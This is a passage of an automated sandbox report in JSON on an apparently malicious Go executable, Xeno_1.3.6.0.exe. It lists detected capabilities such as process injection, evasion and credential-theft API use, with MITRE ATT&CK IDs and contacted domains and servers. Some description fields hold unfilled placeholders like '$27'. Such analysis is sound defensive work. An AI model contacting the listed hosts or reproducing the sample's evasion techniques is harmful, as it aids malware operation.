\"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564","id":"string-145","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"secret\" (Indicator: \"secret\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"aesKey\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"`aesSK\" (Indicator: \"aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Ping\" (Indicator: \"ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Contains ability to format disks","description":"Found string \"Format 3@\" (Indicator: \"format \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1561.001","id":"string-407","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"Ping\" (Indicator: \"ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-417","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\" Go build ID: \"nReDGtgJRWW2tUxxmOb1/JvhyXcvW4UpPk_5uoIYM/ahZTUkS6FodCAjjcawZc/YwhFGAR2JGETWM6d5L6o\"\n \" (Indicator: \" Go build ID: \"nReDGtgJRWW2tUxxmOb1/JvhyXcvW4UpPk_5uoIYM/ahZTUkS6FodCAjjcawZc/YwhFGAR2JGETWM6d5L6o\"\n )\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-74","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"forHKDF\" (Indicator: \"HKDF\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to \"newHMAC\" (Indicator: \"HMAC\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"Xeno_1.3.6.0.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"Xeno_1.3.6.0.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"Observed string: \"crypto/tls\" (Indicator: \"crypto/tls\") in Source: Xeno_1.3.6.0.exe\n Observed string: \"crypto/aes\" (Indicator: \"crypto/aes\") in Source: Xeno_1.3.6.0.exe\n Observed string: \"crypto/md5\" (Indicator: \"crypto/md5\") in Source: Xeno_1.3.6.0.exe","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains possible references to Golang crypto modules\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match – cryptographic algorithms","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003500-00000C2C-1560622933\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00003500-00000C2C-1565103398\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00003500-00000C2C-1560851357\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003500-00000C2C-1560851420\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00003500-00000C2C-1560851603\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00003500-00000C2C-1561196454\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"Xeno_1.3.6.0.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"Xeno_1.3.6.0.exe\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Xeno_1.3.6.0.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Xeno_1.3.6.0.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003500)\n \"Xeno_1.3.6.0.exe\" called \"GetComputerNameExW\" with parameters (UID: 00000000-00003500)\n \"Xeno_1.3.6.0.exe\" called \"GetAdaptersAddresses\" with parameters (UID: 00000000-00003500)\n \"Xeno_1.3.6.0.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00003500)\n \"Xeno_1.3.6.0.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Xeno_1.3.6.0.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"Xeno_1.3.6.0.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"Xeno_1.3.6.0.exe\" called \"GetWindowTextW\" (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Xeno_1.3.6.0.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003500)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"lGetVersion,NTDLL.dll,\"00:42:49.140\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00003500.00000001.166333.00843000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns .com in TLS SNI)\" (SID: 2027695, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sa1atik.cn\"\n \"tonapi.io\"\n \"ton.access.orbs.network\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"176.12.71.122:443\"\n \"104.21.83.70:443\"\n \"152.53.49.102:443\"\n \"1.1.1.1:443\"\n \"104.20.29.41:443\"\n \"167.82.50.132:443\"\n \"104.16.248.249:443\"\n \"168.222.202.171:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"select * from Win32_OperatingSystem\" (Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp, Indicator: \"select * from win32_operatingsystem\")\n \"select TotalPhysicalMemory from Win32_ComputerSystem\" (Source: 00000000-00003500.00000001.166333.00843000.00000004.mdmp, Indicator: \"select totalphysicalmemory from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$31","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process Xeno_1.3.6.0.exe created mutex with name \"\\BaseNamedObjects\\WEBR_7NYT58K6CLNU\"\n Process Xeno_1.3.6.0.exe created mutex with name \"SM0:3500:168:WilStaging_02\"\n Process Xeno_1.3.6.0.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:3500:168:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Xeno_1.3.6.0.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$32","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$33","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Xeno_1.3.6.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 747C0000\n \"Xeno_1.3.6.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72B00000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Xeno_1.3.6.0.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 746F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"Xeno_1.3.6.0.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Xeno_1.3.6.0.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$36","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Xeno_1.3.6.0.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Xeno_1.3.6.0.exe\" has an writable section named \".data\"\n \"Xeno_1.3.6.0.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"Xeno_1.3.6.0.exe\" file has an entrypoint instructions - \"jmp\t0x477010,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,sub\tesp, 0x28,mov\tdword ptr [esp + 0x1c], ebx,mov\tdword ptr [esp + 0x10], ebp,mov\tdword ptr [esp + 0x14], esi,mov\tdword ptr [esp + 0x18], edi,mov\tdword ptr [esp], eax,mov\tdword ptr [esp + 4], ecx,call\t0x4543c0,mov\teax, dword ptr [esp + 8],mov\tedi, dword ptr [esp + 0x18],mov\tesi, dword ptr [esp + 0x14],mov\tebp, dword ptr [esp + 0x10],mov\tebx, dword ptr [esp + 0x1c],add\tesp, 0x28,ret\t4,ret\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,sub\tesp, 8,mov\tecx, dword ptr [esp + 0xc],mov\tedx, dword ptr [ecx],mov\teax, esp,mov\tdword ptr [edx + 4], eax,sub\teax, 0x10000,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x501000\" greater than 0x100000\n Raw size of \".rdata\" is \"0x653c00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x500ec5\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x653b48\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cloudflare-dns.com\"\n \"sa1atik.cn\"\n \"ton.access.orbs.network\"\n \"tonapi.io\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Reads information about supported 